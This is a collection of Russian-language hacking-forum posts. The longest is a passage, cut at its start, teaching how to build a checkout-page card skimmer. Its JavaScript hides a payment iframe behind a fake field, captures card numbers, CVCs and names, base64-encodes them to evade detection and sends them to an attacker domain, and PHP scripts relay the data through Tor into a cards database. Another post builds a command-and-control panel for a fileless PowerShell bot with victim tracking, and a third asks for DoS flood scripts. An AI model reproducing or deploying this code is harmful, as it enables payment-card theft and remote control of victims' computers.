//Оператор ? укорачивает ваш код, строка выше делает то же самое что и
if(document.getElementById(id)){
    name = document.getElementById(id).value;
}else{
    name = "";
}

Рассмотрим следующий пример, у нас форма в которой поля находятся не на странице, а подтягиваются с помощью iframe:

JavaScript:Copy to clipboard

<span class="input-wrapper" id="span_id">
    <iframe name="example_provider" id="iframe_id" title="PaymentForm" src="https://example/cards/payment-form?url=https://shop.com/" width="100%">
        #html тег внутри фрейма
        <html>
        //Тут будет код целой страницы, который мы пропустим, для понимания принципа работы это не важно
        <body>
                <input type="tel" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" autocomplete="cc-number" maxlength="20">
        </body>
        </html>
    </iframe>
</span>

Если вы попробуете обратиться к такому input по его id, то вы ничего не получите так как содержимое iframe недоступно нашему js скрипту.
Давайте проанализируем фрейм, как видите наш фрейм имеет id с названием iframe_id значит мы можем обратиться к нему как к DOM обьекту.
Наш iframe содержится внутри блока span, а span в свою очередь является его контейнером.
Теперь у вас должен возникнуть вопрос, "каким образом мы получим значение value если оно нам недоступно?" .
Действовать мы будем следующим образом:
1. Получим ссылку на обьект нашего iframe и span
2. Скроем iframe
3. Вставим в span наше фейк поле
4. Получим значение из поля
5. Выведем ошибку
6. Заполним куку о том что данные мы уже стащили
7. Перезагрузим страницу
8. Скрипт проверит наличие куки, и если она не равна 404, то покажет оригинальную форму с iframe

JavaScript:Copy to clipboard

//Данный код должен быть расположен сразу после условия, которое проверяет загрузку документа и адрес, в случае если мы действительно находимся на странице чекаута, данный код отработает

//Проверяем наличие куки
//Функция получения куки из браузера, не мой
function get_cookie(cookie_name){
    let check_cookie=document.cookie.match(new RegExp("(?:^|; )"+cookie_name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*)"));return check_cookie?decodeURIComponent(check_cookie[1]):"404";
}
//Получаем значение куки, если оно не найдено, то мы прячем iframe и показываем фейк
if(get_cookie("already_sniffed")=="404"){
    //Код подмены, который мы написали выше
    //Получаем ссылки на обьекты
    let span_block = document.getElementById('span_id');
    let iframe_block = document.getElementById('iframe_id');

    //Скрываем ифрейм
    iframe_block.setAttribute("style","display:none;");

    //Добавляем наше фейковое поле, предварительно вы должны сами его написать, тут я не покажу вам пример так как каждая форма уникальна, и для этого достаточно базового знания html+css, лично я поступил бы следующим образом: открыл в 2 вкладках страницу чекаута, на одной был бы оригинальный инпут, а на другой я бы скрыл ифрейм, и в блок ифрейма - в нашем случае это span, я бы добавил тег <input> и писал бы его стили делая его максимально похожим, стили указал бы внутри тега - ДА это говнокод, но так мы получаем тег в виде одной строки, и можем потом вставить его рядом с фреймом:
    span_block.insertAdjacentHTML("afterend","<input id='fake_input' style='наши стили для фейк инпута'>");
}

После отработки данного скрипта, на странице проявится наша поддельная форма, а оригинальная будет скрыта. Как вы видите, мы добавили id нашему input для того, чтобы обращаться к его value атрибуту.
Теперь, после отправки формы(этот процесс мы рассмотрим чуть позже), мы должны добавить куку,которую мы проверили выше, нужно это для того, чтобы при загрузке страницы наш скрипт понимал соснифили ли мы инфу у текущего юзера или нет.
Создаем куку, и даем ей значение 1, если куки нет, то она не равна 1, а значит данные мы еще не снифали.

JavaScript:Copy to clipboard

//Этот код мы добавим после отправки формы
document.cookie="already_sniffed=1";

Таким образом происходит подмена других полей, для примера я показал одно
И так, когда мы написали функцию подмены полей, то мы действуем точно так же, как и в первом пункте, при [отправке формы\нажатию на кнопку "Place order"] мы по id с помощью функции getElementById получаем value полей и записываем их в переменные.

На данном этапе мы [в случае с наличием ифрейма - подменили поле], находимся на странице чекаута, далее мы введем данные в поля и подтвердим оплату.
Нажатие на кнопку оплаты, или же отправка формы(которая инициируется этим самым нажатием на кнопку оплаты, либо нажатием клавиши enter находясь на последнем инпуте) - это и есть наши 2 тригера на выбор.
У нас есть кнопка, код которой выглядит следующим образом:

JavaScript:Copy to clipboard

<input type="submit" name="checkout_place_order" id="place_order" value="Place order">

Мы должны проделать следующие пункты, чтобы повесить ивент на кнопку:

JavaScript:Copy to clipboard

//Получаем DOM обьект кнопки по id
let submit_button = "";
submit_button = document.getElementById('place_order');

//Добавляем обработчик события клик на эту кнопку
submit_button.addEventListener('click',function(event){
    //На данном этапе форма должна будет отправится, и чтобы это предотвратить вызываем функцию на обьекте события
    event.preventDefault();
    //По факту мы отменили клик, и теперь форма не отправится, а это нужно для того, чтобы наш скрипт успел собрать данные, сформировать запрос, и отправить его на наш сервер

    //Собираем данные
    let name_value = "";
    name_value = document.getElementById("name_id").value;
    let lastname_value = "";
    lastname_value = document.getElementById("lastname_id").value;
    let cc_number_value = "";
    cc_number_value = document.getElementById("cc_number_id").value;
    //И тд...

    //Дальше он сформирует из него ассоциативный массив в представлении ключ:значение
    let cc_info_object ={
        name_key:name_value,
        lastname_key:lastname_value,
        cc_number_key:cc_number_value
    };

    //Массив = обьект, и из этого обьекта мы сформируем json строку
    let json_string = JSON.stringify(new_obj123);

    //Закодируем строку в base64, чтобы при анализе передаваемых данных сложнее было обнаружить что именно отправляется
    let base64_json_string = btoa(json_string);

    //Отправим данные на наш сервер-приемник, также я настоятельно НЕ рекомендую использовать библиотеку jquery с ее ajax функцией так как для этого необходимо подтягивать кучу лишнего, то лучше использовать нативные возможности javascript'а в виде XMLHttpRequest

    //Инициализируем обьект XMLHttpRequest
    let XMLHttpObj = new XMLHttpRequest();
        //Открываем соединение, для отправки post запроса
        XMLHttpObj.open("POST", "https://sniffer-domain.com/index.php");
        //Указываем заголовки
        XMLHttpObj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        //Отправляем запрос
        XMLHttpObj.send("sniffed_data="+base64_json_string);
        //Вешаем обработчик события "изменение статуса запроса"
        XMLHttpObj.onreadystatechange = function(){
            //Когда статус запроса изменится, мы проверим его
            if(XMLHttpObj.readyState==XMLHttpRequest.DONE&&XMLHttpObj.status==200){
                //В случае успешной отправки запроса, мы вешаем куку(ее [наличие\значение] мы будем проверять в начале скрипта) которая будет говорить о том, что у текущего юзера данные мы УЖЕ украли, и повторно их отправлять не нужно, выше вы уже видели этот код
                document.cookie="already_sniffed=1";

                //Теперь когда наш процесс снифинга кончился, мы должны отправить форму, дабы не нарушить логику сайта, и тут так же будет несколько вариантов:
                //Вариант А: у нас обычная форма без ифреймов, данные отправятся, ордер добавится в базу, а жертва увидит сообщение об успешной оплате
                //Вариант Б: у нас форма с фреймом, и так как оригинальные значения пустые(ведь мы их спрятали), страница перезагрузится, и выдаст ошибку о том, что значения не верны
                //Для этого мы должны получить DOM обьект тега <form> и вызвать у нее submit
                //Условно: открывающий тег формы выглядит следующим образом: <form id="checkout_form_id" name="checkout" method="post" class="checkout" action="https://www.original-site.com/checkout/" enctype="multipart/form-data" novalidate="novalidate">

                //Получаем DOM обьект формы
                let checkout_form = "";
                checkout_form = document.getElementById('checkout_form_id');

                //Вручную отправляем ее
                checkout_form.submit();

                //Вариант В:у нас форма с фреймом, и так как оригинальные значения пустые(ведь мы их спрятали), страница НЕ перезагрузится, а просто подчеркнет инпуты, с сообщением о том, что поля не могут быть пусты, тут нам нужно пойти другим путем и вместо отправки формы перезагрузить страницу
                location = location;
            }else{
                //В случае какой то ошибки мы все равно [отправляем форму\перезагружаем страницу], иначе пользователь будет в логической ловушке нашего скрипта
                let checkout_form = "";
                checkout_form = document.getElementById('checkout_form_id');
                checkout_form.submit();
                // или
                location = location;
                //Тут на выбор: можно так же добавить куку, и больше не пытаться [подменить поля]+украсть данные, а можно НЕ добавлять куку и начать процесс заново
            }
        }
});

Опишу последний важный момент части с js.
Иногда попадаются такие формы, которые перезагружаются целиком при выборе определенного значения в одном из полей, например смена страны в шипинг инфо, в такой ситуации если мы при загрузке окна повесим на [кнопку\форму] событие, то это событие не отработает, так как с точки зрения логики веб-приложения она перестанет существовать.
Решение которое я нашел заключается в вешании события клик на всю страницу и обращении к таргету.

JavaScript:Copy to clipboard

//Вешаем событие click на документ
document.addEventListener('click',event => {

    //Получаем обьект и его value (если оно есть)
    let button_value = event.target ? event.target.value : false;

    //Проверяем что результат не false
    if(button_value){
        //Сравниваем значение с текстом из кнопки - это самый просто вариант, он обычно уникален
        if(button_value=="Place order"){
            //код предотвращения отправки -> сбор данных -> отправка данных -> завершение работы скрипта -> ручная отправка формы\перезагрузка страницы
        }
    }
});

Написанный код мы размещаем внутри тегов , а сам тег вставляем перед закрывающим тегом body.

На этом этапе написание JS части нашего снифера закончена.

2 ЧАСТЬ:
Приступим к написанию php скрипта, который будет крутится на сервере посреднике.

Создаем index.php с содержимым:

PHP:Copy to clipboard

<?php
    //Добавляем заголовки, они необходимы для того чтобы работала технология кросс-доменных запросов
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Methods: *');
    header('Access-Control-Allow-Headers: *');

    //Проверяем наличие post запроса, с нужным ключем
    if(isset($_POST['sniffed_data'])){

        //Задаем урл, данные будем отправлять методом get
        $url = 'http://ouradminpanel65rdfty78i.onion/index.php?sniffed_data='.$_POST['sniffed_data'];
        //Напомню что содержимое $_POST['sniffed_data'] - закодировано в base64

        //На нашем сервере крутится сервис tor для отправки запросов в тор сеть, следующей строкой указываем прокси адрес тора в виде ip:port
        $tor_socks = "127.0.0.1:9050";

        //Создаем обьект curl
        $ch = curl_init();

        //Задаем параметры для нашего curl запроса
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_PROXY, $tor_socks);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5_HOSTNAME);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

        //Одновременно выполянем запрос, и получаем ответ
        $resp = curl_exec($ch);

        //Закрываем соединение
        curl_close($ch);
    }

Нужен этот самый сервер посредник для того, чтобы в случае обнаружения снифера и последующего абуза на него мы не потеряли данные.

3 ЧАСТЬ:
Завершающая стадия, тут мы получаем запрос от нашего сервера посредника, и сохраняем значения в базу.

Создаем файл index.php со следующим содержимым:

PHP:Copy to clipboard

<?php
//Добавляем заголовки
    header('Access-Control-Allow-Origin: *');
    header('Access-Control-Allow-Methods: *');
    header('Access-Control-Allow-Headers: *');

//При обращении к скрипту проверяем наличие GET запроса
if(isset($_GET['sniffed_data'])){
    //Получаем содержимое GET параметра, декодируем строку из base64, преобразуем json строку в ассоциативный обьект
    $json_decoded_object = json_decode(base64_decode($_GET['sniffed_data']), true);

    //Коннектимся к базе данных
    $dsn = 'mysql:dbname=cards;host=127.0.0.1;charset=utf8';
    $user = 'root';
    $password = 'root_password';

    //Создаем обьект PDO и коннектимся к базе, в случае неудачи выводим ошибку
    try{
        $pdo = new PDO($dsn, $user, $password);
        echo "Connection success";
    }catch (PDOException $e){
        echo 'Connection failed: ' . $e->getMessage();
    }

    //Подготавливаем запрос для защиты от иньекций
    $statement = $pdo->prepare("INSERT INTO сс VALUES(NULL, :cardnumber, :cardexperation, :cardcvc, :name, :lastname)");

    //Исполняем запрос   
    $statement->execute(array(
            "cardnumber" => $json_decoded_object['cc_number_key'],
            "cardexperation" => $json_decoded_object['cc_exp_key'],
            "cardcvc" => $json_decoded_object['cc_cvc_key'],
            "name" => $json_decoded_object['name_key'],
            "lastname" => $json_decoded_object['lastname_key']
    ));
}

На этом этапе написание снифера закончено, это была моя первая статья и надеюсь вам она была полезна, или как минимум интересна. Задавайте любые вопросы в личку или в теме, буду рад ответить - возможно этим вопросом задались не только вы.

Данная статья продублирована на експе.
Автор - C4T

Создание админ панели ботнета. Fileless бот на PS. Часть III.
ID: 67668b27b4103b69df375d43
Thread ID: 45772
Created: 2020-12-20T17:14:44+0000
Last Post: 2022-08-19T08:55:18+0000
Author: V1rtualGh0st
Prefix: Статья
Replies: 17 Views: 7K

Категорически приветствую, XSS'овцы, спустя две недели продолжаю ~~пилотный~~ цикл статей по созданию безфайлового бота на повершелле. В прошлых статьях для получения команд мы использовали XML-подобные конструкции хранящиеся в текстовике на диске. В этой части мы напишем хоть простую, но всё же полноценную админ панель для нашего бота.
В этой статье мы рассмотрим: Сам бэкенд на PHP, Фронт-енд на bootstrap'e4, Создание и структура БД MySQL, Разбор API для работы с БД. Их плюсы и минусы (PDO и MySQLi), Защиту от XSS и SQL-инъекций. Теперь пора бы и делом заняться. ;)

Для начала подправим наш код бота.
Первым делом мы добавим защиту от СНГ стран. Получим текущий язык системы и региональные параметры, установленные в операционной системе используя функцию Get-Culture а после циклом проверим код стран и язык системы, и если обнаружится снг код, то просто выйдем. Сама функция выглядит так:

PHP:Copy to clipboard

function anti-cis(){
    $culture = (Get-Culture).Name

    $cis = @('az', 'am', 'by', 'ge', 'kz', 'kg', 'md', 'ru', 'tj', 'tm', 'uz', 'ua')

    foreach($code in $cis){
        if($culture.Contains($code)){
            Write-Host "CIS DETECTED"
            exit
        }
    }   
}

Ещё нам нужно немного переделать и дополнить мэйн код. Создадим цикл While($true) для того, чтобы делать запрос на сервер каждые 60 секунд (можно увеличить или уменьшить, по желанию). Добавим переменную, содержащую домен нашей панели, далее получим системные данные: GUID ПК, имя юзверя, версию винды и её разрядность. Далее отправим гет запрос с этими данными на гейт. Этим же запросом получаем JSON инструкции задач, обработаем все JSON- инструкции (ищем по регулярке) циклом, и если в js-тэге "targetVictims" будет указан наш гуид машины, или тег ALL, то попробуем выполнить задачу, после чего отправим запрос о успешном выполнении таска. Мэйн теперь выглядит так:
1608477199300.png
(Вызов anti-cis сделан до главного кода, дабы не делать запрос на сервер, если это СНГ машина)
Можем перейти к главному.

Панель.
Так как у меня плохо (я бы даже сказал ужасно) с вёрсткой, в качестве фронтенда мы возьмём публичный bootstrap4 шаблон Target-Free-Bootstrap-Admin- Template прямиком с [гитхаба](https://github.com/webthemez/Target-Free- Bootstrap-Admin-Template)
1608477380956.png

Первым делом создаём файл header.php, с шапкой нашей панельки. В PHP код добавим простую функцию writeCardImage которая принимает аргументы $desc (описание), $count (число), $colmd (число, по дефолту 3), эта функция будет создавать новый блок такого вида:
1608477498244.png
В таких блоках мы будем хранить инфу о текущем состоянии ботов (Количество всех ботов, кол*во ботов которые онлайн и офлайн).
в хеде добавляем ссылки на все css стили, в body подключаем все JS файлы. На этом с хедером, пока что всё.
Создаём новый каталог с именем app, в котором будут находиться вспомогательные файлы, конфиги, и т.д. В этом каталоге создаём config.php. Файл содержащий данные для подключения к базе данных, а так же данные для входа в панель (юзернейм и пароль в MD5):

PHP:Copy to clipboard

<?php
    
    $config = array("db_host" => "localhost",
                    "db_user" => "root",
                    "db_pass" => "",
                    "db_name" => "powerbot", // DB NAME
                    "usrname" => "admin", // Admin Login
                    "usrpass" => "21232f297a57a5a743894a0e4a801fc3"); // Hashed pass
    
 ?>

Прежде чем перейти к коду гейта и дэшборда, мы отвлекёмся на создание БД и возможные уязвимости в панели.

Создание и структура Базы Данных.
Работать будем с MySQL и phpMyAdmin.
Боты.
Всего в таблице будет 2 таблицы - информация о ботах и задачи для них. Создаём новую таблицу с именем bots , которая содержит 7 полей. Тип каждого varchar , сравнение utf8_general_ci. В первом поле создадим GUID компьютера жертвы (для того, чтобы создавать отдельные задания с конкретными целями), длина значения 32. Стоит упомянуть, что все поля будут содержать минимально возможное количество символов, об этом будет чуть позже. Следующие поле username , содержащие имя текущего пользователя, 30 символов. Третье поле os содержит версию Windows и её разрядность, 18 символов. Следом поле ip , 15 символов. Пятое поле firstOnline - дата первого запуска бота в формате число.месяц.год час.минута.секунда , 21 символ. Похожее поле lastOnline , но уже дата последнего выхода бота в сеть, так-же 21 символ. И последнее поле в этой таблице - lastExTask , имя последнего выполненного задания, 20 символов.
1608478564919.png

Таски.
Вторая таблица - tasks содержит 6 полей: taskName(имя задания, varchar, 20 символов), currentEx(текущие количество ПК, выполнивших таск, int, 255), maxExCount (максимальное кол-во ПК выполнивших заданий, int, 255), targetVictims(содержит guid(ы) целевых машин или тег ALL, для всех ботов, varchar, 32), command(команда в формате XML, text, без ограничений по символам), последнее поле taskStatus(статус задачи, 1 - если задача выполнена, 0 - в противоположном случае, int, 1)
1608478636024.png

С структурой и созданием БД закончим, перейдём к более интересному вопросу: Какой API использовать?

Что использовать: PDO или MySQLi? Плюсы и минусы обоих апи.

При работе с базами данных в PHP, у нас есть два варианта для подключения к бд: MySQLi и PDO. Рассмотрим основные преимущества и недостатки обоих вариантов.
Поддержка формата баз данных. PDO поддерживает 12 типов бд (MS SQL, Oracle, MySQL, и так далее), в то время, как с mysqli можно работать только с MySQL. +1 PDO.
И PDO, и MySQLi имеют поддержку объектно-ориентированного API, но MySQLi помимо этого имеет процедурный API, который упрощает понимание синтаксиса (гораздо легче даётся новичкам). +1 Mysqli.

Безопасность. Обе библиотеки обеспечивают защиту от SQL-инъекций, если у кодера руки растут с нужного места, конечно. Но что использовать безопасней? У mysqli есть mysqli_real_escape_string(), который экранирует входящую строку, но при этом все кавычки вам придётся добавлять самим, не очень удобно, да? В пдо всё немного попроще, имеется метод PDO::quote(), который помимо экранирования строки самостоятельно помещает ей между кавычек. Рассмотрим пример обработки строки у обоих библиотек.
Входящая строка: " ' ; DELETE FROM users; /* ".
Результат mysqli, после обработки: \'; DELETE FROM users; /*
PDO: '\'; DELETE FROM users; /*'

Небольшой итог:
PDO, как по мне вариант гораздо лучше (и привычней)), одна лишь поддержка 12 типов баз данных перекрывает все минусы и неудобства. Со стороны безопасности фаворитов нет, т.к в осном это зависит лишь от опыта кодера. Поэтому в этой статье работать мы будем с PDO.

Вернёмся к созданию панели.
Для того, чтобы принимать новых ботов, нам понадобиться гейт (Простая страница заносящая данные о боте в бд и выдачи тасков).
Первым делом создаём PDO подключение к бд, далее делаем запрос к бд, для получения инструкций (статус которых равен нулю(незавершенны)), проходимся по каждой и энкодим все инструкции в JSON-формат и выводим весь JSON текст:

PHP:Copy to clipboard

    require 'app/config.php';
    $connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']); // PDO Connect

    $resp = $connect->query("SELECT `taskName`, `targetVictims`, `command` FROM `tasks` WHERE `taskStatus` = '0'"); // Get tasks
    $rows = $resp->fetchAll(PDO::FETCH_ASSOC);
    $pageContent = "";

    foreach($rows as $row) {
        $row['command'] = htmlspecialchars($row['command'], ENT_QUOTES); // format command string
        $pageContent .= json_encode($row); // encode to json
    }

    echo $pageContent;

Далее проверяем, является ли запрос к гейту GET запросом, создаём переменные $exTime - время запроса к гейту, $guid - гет параметр, содержит гуид ПК, $userIP - IP адресс, откуда поступил запрос, $task - имя выполненного таска (если запрос не первый), $status - статус таска.
Далее проверяем, есть ли в бд запись с полученным GUID'ом, если есть то обновляем время последнего онлайна и IP (на случай, если у жертвы динамический айпишник), если записей в БД нет, тогда бот новый, соответсвенно создаём новую запись с его данными. Код:

PHP:Copy to clipboard

    if ($_SERVER['REQUEST_METHOD'] == "GET") {
        $exTime   = date("d.m.Y H:i:s"); // time
        $guid = $connect->quote($_GET["guid"]);
        $userIP   = $connect->quote($_SERVER["SERVER_ADDR"]); // ip
        $task = $connect->quote($_GET["taskName"]);
        $status = $_GET["status"];

        if(isset($guid)){ // if guid != nulled value
            $resp = $connect->query("SELECT * FROM `bots` WHERE `guid` = $guid");
            if($resp->fetch(PDO::FETCH_ASSOC) != 0){ // if user exists
                //echo "user already exists";
                $connect->query("UPDATE `bots` SET `lastOnline` = '$exTime' WHERE `guid` = $guid"); //update last online
                $connect->query("UPDATE `bots` SET `ip` = $userIP WHERE `guid` = $guid");
            }

            else{
                //echo "new bot";
                $userName = $connect->quote($_GET["username"]);
                $osName   = $connect->quote($_GET["os"]);
                //add new bot
                $connect->query("INSERT INTO `bots` (`guid`, `username`, `os`, `ip`, `firstOnline`, `lastOnline`) VALUES ($guid, $userName, $osName, $userIP, '$exTime', '$exTime')");
            }
        }

После этого получаем задание с именем переданным в гет запросе, проверяем, является ли статус задание успешным, и если это так, обновляем последние выполненное задание бота, проверяем, равно ли текущие кол-во запусков максимальному, если равен, тогда обновляем статус задания, иначе обновляем кол-во текущих запусков:

PHP:Copy to clipboard

if(isset($task) and isset($status) and isset($guid)){
            $taskInfo = $connect->query("SELECT * FROM `tasks` WHERE `taskName` = $task")->fetch(PDO::FETCH_ASSOC);

            $taskName = $taskInfo["taskName"];
            $crCounts = intval($taskInfo["currentEx"]);
            $maxExCnt = intval($taskInfo["maxExCount"]);
            $taskStatus = intval($taskInfo["taskStatus"]);

            if ($status == "success") {
                $connect->query("UPDATE `bots` SET `lastExTask` = $task WHERE `guid` = $guid");

                if($crCounts == $maxExCnt){
                    if($taskStatus = 0) $connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
                }

                else{
                    $crCounts++;
                    $connect->query("UPDATE `tasks` SET `currentEx` = '$crCounts' WHERE `taskName` = $task");

                    if($crCounts == $maxExCnt){
                        $connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
                    }
                }
            }           
        }

С гейтом всё, переходим к главной странице.
Создаём файл dashboard.php, подключаем все библиотеки, стили, хедер, конфиг, так-же создаём коннект к бд. Получаем список всех ботов и все задания из базы, сохраняем их в отдельные переменные:

PHP:Copy to clipboard

require 'app/config.php';
   $adminName = $config["usrname"];
   require 'header.php'; 
   require 'sidebar.php';

    $connect = $connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']);

    $bots  = $connect->query("SELECT * FROM `bots`");
    $tasks = $connect->query("SELECT * FROM `tasks`");

Обработаем запросы, если в пост запросе содержится поле taskName , добавляем новую запись в таблицу tasks:

PHP:Copy to clipboard

    if(isset($_POST["taskName"])){
        // formatting strings
        $taskName = $connect->quote($_POST["taskName"]);
        $maxEx    = $connect->quote($_POST["maxEx"]);
        $Victims  = $connect->quote($_POST["targetVictims"]);
        $command  = $connect->quote($_POST["command"]);
        //req to db
        $connect->query("INSERT INTO `tasks` (`taskName`, `maxExCount`, `targetVictims`, `command`) VALUES ($taskName, $maxEx, $Victims, $command)");
        //refresh page
        echo "<script>location.replace('dashboard.php')</script>";
    }

Если в гет запросе присутствует переменная delete_taskname, удаляем задачу с бд, если в запросе передаётся action=logout - очищаем сессию и редиректим на login.php:

PHP:Copy to clipboard

    if(isset($_GET["delete_taskname"])){
        $taskToDelete = $connect->quote($_GET["delete_taskname"]);

        $connect->query("DELETE FROM `tasks` WHERE `taskName` = $taskToDelete");
        echo "<script>location.replace('dashboard.php')</script>";
    }

   if(isset($_GET["action"])){
      $action = $_GET["action"];
      if($action == "logout"){
         session_destroy();
         echo "<script>location.replace('login.php')</script>";
      }
   }

В HTML коде добавляем 3 блока, которые будут выводить информацию о онлайне ботов:

Code:Copy to clipboard

    <?
            $allBots = $bots->rowCount();
            writeCardImage('Total Bots', $allBots, 4);  // All Bots
            
            $date = date("d.m.Y");
            $time = date("H:i");
            $onlineBots = 0;
            $lastOnline = $connect->query("SELECT `guid`, `lastOnline` FROM `bots`");
            
            while ($bot = $lastOnline->fetch(PDO::FETCH_ASSOC)) {
                if(strContains($bot["lastOnline"], $date)){
                    $botTime = explode(" ", $bot["lastOnline"]);
                    $last = explode(":", $botTime[1]);
                    $lastTime = $last[0].":".$last[1];
                    
                    if($lastTime == $time || $last[0].":".($last[1] + 1) == $time){
                    $onlineBots++;
                    }
                }
            }
            
            writeCardImage('Online Bots', $onlineBots, 4);
            writeCardImage('Offline Bots', $allBots - $onlineBots, 4);
    ?>

1608480780849.png

Теперь нам нужно вывести информацию о ботах, но перед этим стоит упомянуть о возможных XSS уязвимостях и методах защиты от них.

Защита от XSS.

На этом этапе затронем методы защиты от межсайтового скриптинга.
В большинстве случаях хранимые ксски хранятся в таблицах бд, которые выводят информацию на страницу.
Первый, и пожалуй, самый простой способ защита от stored-xss - ограничения символов хранимых в таблице. На этапе создания таблицы bots для каждого столбца мы установили ограничения.
Где самое большое, допустимое количество символов у столбца - 32 в guid и 30 в username.

Эти данные передаются в GET запросе, вместо данных о имени юзера можно передать строку вида , которые сохраняться в бд, и после того, как

мы залогинемся в админке этот код будет выполнен.
Для этого мы и используем ограничение символов. Длина возможного, вредоносного кода ~40 символов, но т.к строка username сохранит лишь первые 30 символов, поэтому вредоносный код выполнен не будет.

Предотврощаем XSS при помощи HTML Purifier.
Фильтрация данных, выводимых на страницу является самой важной частью защиты от межсайтового скриптинга. Большинство кодеров, в качестве обработки строк использует функции htmlspecialchars() и/или strip_tags() с вайт листом доступных символов. Так же можно использовать связку нескольких функций, обрабатывая каждую строку, пример:

PHP:Copy to clipboard

function checkParam($param)
{
  $formatted = $param;
  $formatted = trim($formatted);
  $formatted = stripslashes($formatted);
  $formatted = htmlspecialchars($formatted);
  return $formatted;
}

Но в нашей панели мы будем использовать более продвинутое решение - библиотеку HTML Purifier. Что же делает эта библиотека?
Она очищает любой html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты внутри тегов. Минусом является то, что мы сами должны определить, какие атрибуты будут недопустимы. По умолчанию библиотека также не содержит всех «стандартных атрибутов», таких как contenteditable, поэтому нам также необходимо их добавить самостоятельно.

Рассмотрим всё на примере:
Исходный код:

HTML:Copy to clipboard

<p invalidAttribute="value">Test String <strike>strike</strike>:</p>
        <script type="text/javascript">alert("XSS.is");</script>

После обработки:

HTML:Copy to clipboard

<p>Test String <span style="text-decoration:line-through;">strike</span>:</p>

Как видим, JS код был отфильтрован. Подключим эту библиотеку к нашей панели. Распакуем архив с библиотекой в папку app:
1608481852029.png

В config.php подключаем файл HTMLPurifier.auto.php а так же создадим простую конфигурацию:

PHP:Copy to clipboard

require 'HTMLPurifier.auto.php';
    $HTMLPconfig = HTMLPurifier_Config::createDefault();
    $HTMLPconfig->set('Attr.AllowedClasses',array('header'));
    $HTMLPconfig->set('AutoFormat.AutoParagraph',true);
    $HTMLPconfig->set('AutoFormat.RemoveEmpty',true);
    $HTMLPconfig->set('HTML.Doctype','HTML 4.01 Strict');
    $purifier = new HTMLPurifier($HTMLPconfig);

Для вывода информации из бд мы будем использовать функцию purify. Вернёмся к дэшборду.

Для вывода информации мы будем использовать таблицу, а так-же воспользуемся интересным дополнением к JQuery - DataTables.
DataTables - это плагин для библиотеки jQuery. Это очень гибкий инструмент, построенный на основе прогрессивного улучшения, который добавляет следующие функции в любую HTML-таблицу: нумерация страниц и выбор кол-ва выводимых столбцов, мгновенный поиск (фильтр по тексту).

Создадим таблицу, которая выводит данные о ботах:

PHP:Copy to clipboard

<div class="row">
            <div class="col-md-12">
               <!-- Advanced Tables -->
               <div class="card">
                  <div class="card-action">
                     Bots List
                  </div>
                  <div class="card-content">
                     <div class="table-responsive">
                        <table class="table table-striped table-bordered table-hover" id="dataTables-example">
                           <thead>
                              <tr>
                                 <th>GUID</th>
                                 <th>Username \ IP</th>
                                 <th>OS</th>
                                 <th>Last Online</th>
                                 <th>Last Task</th>
                              </tr>
                           </thead>
                           <tbody>
                              <?
                                 while ($bot = $bots->fetch(PDO::FETCH_ASSOC)) {
                                     echo "<tr>
                                             <td>".$purifier->purify($bot["guid"])."</td>
                                             <td class='center'>".$purifier->purify($bot["username"]." \ ".$bot["ip"])."</td>
                                             <td>".$purifier->purify($bot["os"])."</td>
                                             <td>".$purifier->purify($bot["lastOnline"])."</td>
                                             <td>".$purifier->purify($bot["lastExTask"])."</td>
                                           </tr>";
                                 }
                                 ?>
                           </tbody>
                        </table>
                     </div>
                  </div>
               </div>
               <!--End Advanced Tables -->
            </div>
         </div>

Теперь панель выглядит примерно так:
1608482649506.png

Подобную же таблицу создаём для тасков (фулл код будем в аттаче к статье):
1608482950300.png

Для добавления нового задания используется Modal Form:
1608483016925.png

На этом с главной странице закончим. Перейдём к авторизации.
Тут решил сильно не заморачиваться накидал простую форму с таким кодом:

HTML:Copy to clipboard

<?php

    session_start();

    if(isset($_POST["user"]) && isset($_POST["pass"])){
        require 'app/config.php';

        $user = $_POST["user"];
        $pass = $_POST["pass"];

        if($user == $config["usrname"] && MD5($pass) == $config["usrpass"]){
            $_SESSION["auth"] = true;
            echo "<script>location.replace('dashboard.php');</script>";
        }
    }

    if($_SESSION["auth"] == true){
        echo "<script>location.replace('dashboard.php');</script>";
    }
 ?>

 <!DOCTYPE html>
 <html>
 <head>
     <title>PowerBot | Login</title>
     <meta charset="utf-8" />
 </head>
 <body>
     <form action="login.php" method="POST">
     <label>Login: </label>
     <input type="text" name="user">
     <br>
     <label>Passw: </label>
     <input type="password" name="pass">
     <br>
     <button type="submit">Sign-in</button>
     </form>
 </body>
 </html>

В остальных php файлах так-же добавляем проверку на наличие сессии. На этом всё.

Итог.
В этой части статьи мы рассмотрели пример создания простой админ-панели на PHP, так-же рассмотрели разные способы защиты от популярных уязвимостей. Возможно функционал панели немного скудноват, можно было добавить пару чартов с статистикой по ботам, или другие фичи, но конкретно эта панель являеться лишь примером. Все файлы прикреплены к посту, пароль местный.

(c) V1rtualGh0st специально для XSS.is <3.

Первая часть - https://xss.is/threads/37391
Вторая часть - https://xss.is/threads/45238/

PHP DoS
ID: 67668b27b4103b69df375e33
Thread ID: 20276
Created: 2010-09-16T13:45:33+0000
Last Post: 2011-10-13T09:47:27+0000
Author: DiegO
Replies: 22 Views: 6K

Я решил выучить php, взял книжку, учю, но там не чего не сказанно про работу с socketами. Ну да ладно. ) Помогите написат или растолковать готовый скрипт(php) для dos атак, на примере udp и syn флуда. Да ещё, меня интересует как задать кол-во socketов, время атаки, и время между создания socket`ами.
Заранее благодарен, жду ответов с не терпением! :D

Fullscreen на VB
ID: 67668b27b4103b69df375ed6
Thread ID: 6304
Created: 2006-03-02T14:11:41+0000
Last Post: 2006-08-17T09:00:12+0000
Author: SapienS
Replies: 4 Views: 6K

